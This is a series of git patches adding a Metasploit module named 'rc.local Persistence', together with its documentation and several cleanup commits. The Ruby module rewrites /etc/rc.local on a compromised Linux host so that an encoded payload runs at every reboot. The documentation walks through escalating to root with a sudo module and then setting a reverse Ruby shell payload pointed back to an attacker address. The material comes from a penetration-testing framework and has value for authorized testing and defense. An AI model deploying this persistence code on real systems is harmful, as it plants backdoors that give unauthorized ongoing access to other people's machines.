From 4f137f2f3f7cefae8e1981b50a8a094120e11be3 Mon Sep 17 00:00:00 2001 From: Eliott Teissonniere <10683430+DeveloppSoft@users.noreply.github.com> Date: Mon, 16 Jul 2018 09:34:03 +0200 Subject: [PATCH 01/10] rc.local persistence --- .../linux/local/rc_local_persistence.rb | 57 +++++++++++++++++++ 1 file changed, 57 insertions(+) create mode 100644 modules/exploits/linux/local/rc_local_persistence.rb diff --git a/modules/exploits/linux/local/rc_local_persistence.rb b/modules/exploits/linux/local/rc_local_persistence.rb new file mode 100644 index 0000000000..37aa2f083a --- /dev/null +++ b/modules/exploits/linux/local/rc_local_persistence.rb @@ -0,0 +1,57 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = ExcellentRanking + + include Msf::Post::File + include Msf::Post::Unix + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'rc.local Persistence', + 'Description' => %q( + This module will edit /etc/rc.local in order to persist a payload. + ), + 'License' => MSF_LICENSE, + 'Author' => [ 'Eliott Teissonniere' ], + 'Platform' => [ 'unix', 'linux' ], + 'Arch' => ARCH_CMD, + 'Payload' => { + 'BadChars' => '#%\n', + 'Compat' => { + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic python ruby netcat perl' + } + }, + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => 'true' }, + 'DisclosureDate' => 'Oct 1980', # The rc command appeared in 4.0BSD. + 'Targets' => [ ['Automatic', {}] ], + 'DefaultTarget' => 0 + )) + end + + def exploit + print_status('Reading /etc/rc.local') + + # read /etc/rc.local, but remove `exit 0` + rc_local = cmd_exec('cat /etc/rc.local | grep -v "exit 0"') + + # add payload and put back `exit 0` + rc_local += [ + "", # makes sure there is a newline + payload.encoded, + "exit 0" + ].join("\n") + + # write new file + print_status('Patching /etc/rc.local') + write_file('/etc/rc.local', rc_local) + end +end + + From aa58634b240e46e1b28bd53fe61f97c568ff2844 Mon Sep 17 00:00:00 2001 From: Eliott Teissonniere <10683430+DeveloppSoft@users.noreply.github.com> Date: Mon, 16 Jul 2018 09:34:20 +0200 Subject: [PATCH 02/10] Document rc.local --- .../linux/local/rc_local_persistence.md | 46 +++++++++++++++++++ 1 file changed, 46 insertions(+) create mode 100644 documentation/modules/exploit/linux/local/rc_local_persistence.md diff --git a/documentation/modules/exploit/linux/local/rc_local_persistence.md b/documentation/modules/exploit/linux/local/rc_local_persistence.md new file mode 100644 index 0000000000..60abc22375 --- /dev/null +++ b/documentation/modules/exploit/linux/local/rc_local_persistence.md @@ -0,0 +1,46 @@ +## rc.local Persistence + +This module patch `/etc/rc.local` in order to launch a payload upon reboots. + + +### Verification + +1. Exploit a box and get a **root** session (tip: try `post/multi/manage/sudo`) +2. `use exploit/linux/local/rc_local_persistence` +3. `set SESSION #` +4. `set PAYLOAD #` +5. `set LHOST ##` +6. `exploit` + + +### Sample run + +#### Escalate the session if needed + +``` +msf5 exploit(linux/local/rc_local_persistence) > use post/multi/manage/sudo +msf5 post(multi/manage/sudo) > set session 3 +session => 3 +msf5 post(multi/manage/sudo) > run + +[*] SUDO: Attempting to upgrade to UID 0 via sudo +[*] No password available, trying a passwordless sudo. +[+] SUDO: Root shell secured. +[*] Post module execution completed +``` + +#### Persist + +``` +msf5 post(multi/manage/sudo) > use exploit/linux/local/rc_local_persistence +msf5 exploit(multi/handler) > set payload cmd/unix/reverse_ruby +payload => cmd/unix/reverse_ruby +msf5 exploit(linux/local/rc_local_persistence) > set LHOST 192.168.0.41 +LHOST => 192.168.0.41` +msf5 exploit(linux/local/rc_local_persistence) > run + +[*] Reading /etc/rc.local +[*] Patching /etc/rc.local +[*] Max line length is 65537 +[*] Writing 650 bytes in 1 chunks of 2251 bytes (octal-encoded), using printf +``` From c84eb9fee9cab5d73512dc49940486538de9279b Mon Sep 17 00:00:00 2001 From: Eliott Teissonniere <10683430+DeveloppSoft@users.noreply.github.com> Date: Mon, 16 Jul 2018 11:54:37 +0200 Subject: [PATCH 03/10] Handle file patching on framework side --- modules/exploits/linux/local/rc_local_persistence.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/local/rc_local_persistence.rb b/modules/exploits/linux/local/rc_local_persistence.rb index 37aa2f083a..30522aab6f 100644 --- a/modules/exploits/linux/local/rc_local_persistence.rb +++ b/modules/exploits/linux/local/rc_local_persistence.rb @@ -39,7 +39,7 @@ class MetasploitModule < Msf::Exploit::Local print_status('Reading /etc/rc.local') # read /etc/rc.local, but remove `exit 0` - rc_local = cmd_exec('cat /etc/rc.local | grep -v "exit 0"') + rc_local = read_file('/etc/rc.local').gsub(/^exit.*$/, '') # add payload and put back `exit 0` rc_local += [ From 7df20539af8593d9cce1b659a4c32d00ab528349 Mon Sep 17 00:00:00 2001 From: Eliott Teissonniere <10683430+DeveloppSoft@users.noreply.github.com> Date: Mon, 16 Jul 2018 11:55:37 +0200 Subject: [PATCH 04/10] Fix msftidy --- modules/exploits/linux/local/rc_local_persistence.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/exploits/linux/local/rc_local_persistence.rb b/modules/exploits/linux/local/rc_local_persistence.rb index 30522aab6f..6e01aa547d 100644 --- a/modules/exploits/linux/local/rc_local_persistence.rb +++ b/modules/exploits/linux/local/rc_local_persistence.rb @@ -29,7 +29,7 @@ class MetasploitModule < Msf::Exploit::Local }, 'SessionTypes' => [ 'shell', 'meterpreter' ], 'DefaultOptions' => { 'WfsDelay' => 0, 'DisablePayloadHandler' => 'true' }, - 'DisclosureDate' => 'Oct 1980', # The rc command appeared in 4.0BSD. + 'DisclosureDate' => 'Oct 01 1980', # The rc command appeared in 4.0BSD. 'Targets' => [ ['Automatic', {}] ], 'DefaultTarget' => 0 )) @@ -37,17 +37,17 @@ class MetasploitModule < Msf::Exploit::Local def exploit print_status('Reading /etc/rc.local') - + # read /etc/rc.local, but remove `exit 0` rc_local = read_file('/etc/rc.local').gsub(/^exit.*$/, '') - + # add payload and put back `exit 0` rc_local += [ "", # makes sure there is a newline payload.encoded, "exit 0" ].join("\n") - + # write new file print_status('Patching /etc/rc.local') write_file('/etc/rc.local', rc_local) From bfd521f2cb605de568c571d540b9d07486a67d05 Mon Sep 17 00:00:00 2001 From: Eliott Teissonniere <10683430+DeveloppSoft@users.noreply.github.com> Date: Mon, 16 Jul 2018 11:56:55 +0200 Subject: [PATCH 05/10] Small note about network not available --- .../modules/exploit/linux/local/rc_local_persistence.md | 2 ++ 1 file changed, 2 insertions(+) diff --git a/documentation/modules/exploit/linux/local/rc_local_persistence.md b/documentation/modules/exploit/linux/local/rc_local_persistence.md index 60abc22375..a3f9fb66fd 100644 --- a/documentation/modules/exploit/linux/local/rc_local_persistence.md +++ b/documentation/modules/exploit/linux/local/rc_local_persistence.md @@ -2,6 +2,8 @@ This module patch `/etc/rc.local` in order to launch a payload upon reboots. +> Sometimes `/etc/rc.local` is runned when the network is not yet on, make sure your payload won't quit if that's the case. + ### Verification From df32ab674d77ac4b841df29a0a73a2118da4a61f Mon Sep 17 00:00:00 2001 From: Eliott Teissonniere <10683430+DeveloppSoft@users.noreply.github.com> Date: Tue, 17 Jul 2018 12:48:26 +0200 Subject: [PATCH 06/10] Fix newline bad character --- modules/exploits/linux/local/rc_local_persistence.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/local/rc_local_persistence.rb b/modules/exploits/linux/local/rc_local_persistence.rb index 6e01aa547d..db5282c6ae 100644 --- a/modules/exploits/linux/local/rc_local_persistence.rb +++ b/modules/exploits/linux/local/rc_local_persistence.rb @@ -21,7 +21,7 @@ class MetasploitModule < Msf::Exploit::Local 'Platform' => [ 'unix', 'linux' ], 'Arch' => ARCH_CMD, 'Payload' => { - 'BadChars' => '#%\n', + 'BadChars' => "#%\n", 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic python ruby netcat perl' From 97e89cf3bbeab36dfd89c5640758cf96fee47c1e Mon Sep 17 00:00:00 2001 From: Eliott Teissonniere <10683430+DeveloppSoft@users.noreply.github.com> Date: Tue, 17 Jul 2018 12:49:55 +0200 Subject: [PATCH 07/10] Cleanup rc_local patching code --- modules/exploits/linux/local/rc_local_persistence.rb | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/modules/exploits/linux/local/rc_local_persistence.rb b/modules/exploits/linux/local/rc_local_persistence.rb index db5282c6ae..d87dc2a706 100644 --- a/modules/exploits/linux/local/rc_local_persistence.rb +++ b/modules/exploits/linux/local/rc_local_persistence.rb @@ -42,11 +42,7 @@ class MetasploitModule < Msf::Exploit::Local rc_local = read_file('/etc/rc.local').gsub(/^exit.*$/, '') # add payload and put back `exit 0` - rc_local += [ - "", # makes sure there is a newline - payload.encoded, - "exit 0" - ].join("\n") + rc_local << "\n#{payload.encoded}\nexit 0" # write new file print_status('Patching /etc/rc.local') From 703f94d981cf366b507ff89bd75c201be4fbf266 Mon Sep 17 00:00:00 2001 From: Eliott Teissonniere <10683430+DeveloppSoft@users.noreply.github.com> Date: Tue, 17 Jul 2018 12:52:51 +0200 Subject: [PATCH 08/10] Check that /etc/rc.local is writeable --- modules/exploits/linux/local/rc_local_persistence.rb | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/modules/exploits/linux/local/rc_local_persistence.rb b/modules/exploits/linux/local/rc_local_persistence.rb index d87dc2a706..aa50759ecf 100644 --- a/modules/exploits/linux/local/rc_local_persistence.rb +++ b/modules/exploits/linux/local/rc_local_persistence.rb @@ -36,6 +36,10 @@ class MetasploitModule < Msf::Exploit::Local end def exploit + unless cmd_exec("test -w '/etc/rc.local' && echo true").include? 'true' + fail_with Failure::BadConfig, '/etc/rc.local is not writable' + end + print_status('Reading /etc/rc.local') # read /etc/rc.local, but remove `exit 0` From 01e636282872c70f15e09183a8c88f3b77ee2a09 Mon Sep 17 00:00:00 2001 From: Eliott Teissonniere <10683430+DeveloppSoft@users.noreply.github.com> Date: Tue, 17 Jul 2018 13:01:49 +0200 Subject: [PATCH 09/10] Fix documentation wording --- .../exploit/linux/local/rc_local_persistence.md | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/documentation/modules/exploit/linux/local/rc_local_persistence.md b/documentation/modules/exploit/linux/local/rc_local_persistence.md index a3f9fb66fd..a2254663f9 100644 --- a/documentation/modules/exploit/linux/local/rc_local_persistence.md +++ b/documentation/modules/exploit/linux/local/rc_local_persistence.md @@ -1,17 +1,17 @@ ## rc.local Persistence -This module patch `/etc/rc.local` in order to launch a payload upon reboots. +This module patches `/etc/rc.local` in order to launch a payload upon reboot. -> Sometimes `/etc/rc.local` is runned when the network is not yet on, make sure your payload won't quit if that's the case. +> Sometimes `/etc/rc.local` is run when the network is not yet on, make sure your payload won't quit if that's the case. ### Verification 1. Exploit a box and get a **root** session (tip: try `post/multi/manage/sudo`) 2. `use exploit/linux/local/rc_local_persistence` -3. `set SESSION #` -4. `set PAYLOAD #` -5. `set LHOST ##` +3. `set SESSION ` +4. `set PAYLOAD ` +5. `set LHOST ` 6. `exploit` From e38775b504d25c73b6bb0116b1b2987195a3f356 Mon Sep 17 00:00:00 2001 From: Tim W Date: Sun, 19 Aug 2018 15:27:04 +0800 Subject: [PATCH 10/10] minor tweaks --- .../modules/exploit/linux/local/rc_local_persistence.md | 4 +--- modules/exploits/linux/local/rc_local_persistence.rb | 4 ++-- 2 files changed, 3 insertions(+), 5 deletions(-) diff --git a/documentation/modules/exploit/linux/local/rc_local_persistence.md b/documentation/modules/exploit/linux/local/rc_local_persistence.md index a2254663f9..9b81d94d2e 100644 --- a/documentation/modules/exploit/linux/local/rc_local_persistence.md +++ b/documentation/modules/exploit/linux/local/rc_local_persistence.md @@ -38,11 +38,9 @@ msf5 post(multi/manage/sudo) > use exploit/linux/local/rc_local_persistence msf5 exploit(multi/handler) > set payload cmd/unix/reverse_ruby payload => cmd/unix/reverse_ruby msf5 exploit(linux/local/rc_local_persistence) > set LHOST 192.168.0.41 -LHOST => 192.168.0.41` +LHOST => 192.168.0.41 msf5 exploit(linux/local/rc_local_persistence) > run [*] Reading /etc/rc.local [*] Patching /etc/rc.local -[*] Max line length is 65537 -[*] Writing 650 bytes in 1 chunks of 2251 bytes (octal-encoded), using printf ``` diff --git a/modules/exploits/linux/local/rc_local_persistence.rb b/modules/exploits/linux/local/rc_local_persistence.rb index aa50759ecf..a35dd83f90 100644 --- a/modules/exploits/linux/local/rc_local_persistence.rb +++ b/modules/exploits/linux/local/rc_local_persistence.rb @@ -8,13 +8,13 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::File include Msf::Post::Unix - include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'rc.local Persistence', 'Description' => %q( This module will edit /etc/rc.local in order to persist a payload. + The payload will be executed on the next reboot. ), 'License' => MSF_LICENSE, 'Author' => [ 'Eliott Teissonniere' ], @@ -46,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Local rc_local = read_file('/etc/rc.local').gsub(/^exit.*$/, '') # add payload and put back `exit 0` - rc_local << "\n#{payload.encoded}\nexit 0" + rc_local << "\n#{payload.encoded}\nexit 0\n" # write new file print_status('Patching /etc/rc.local')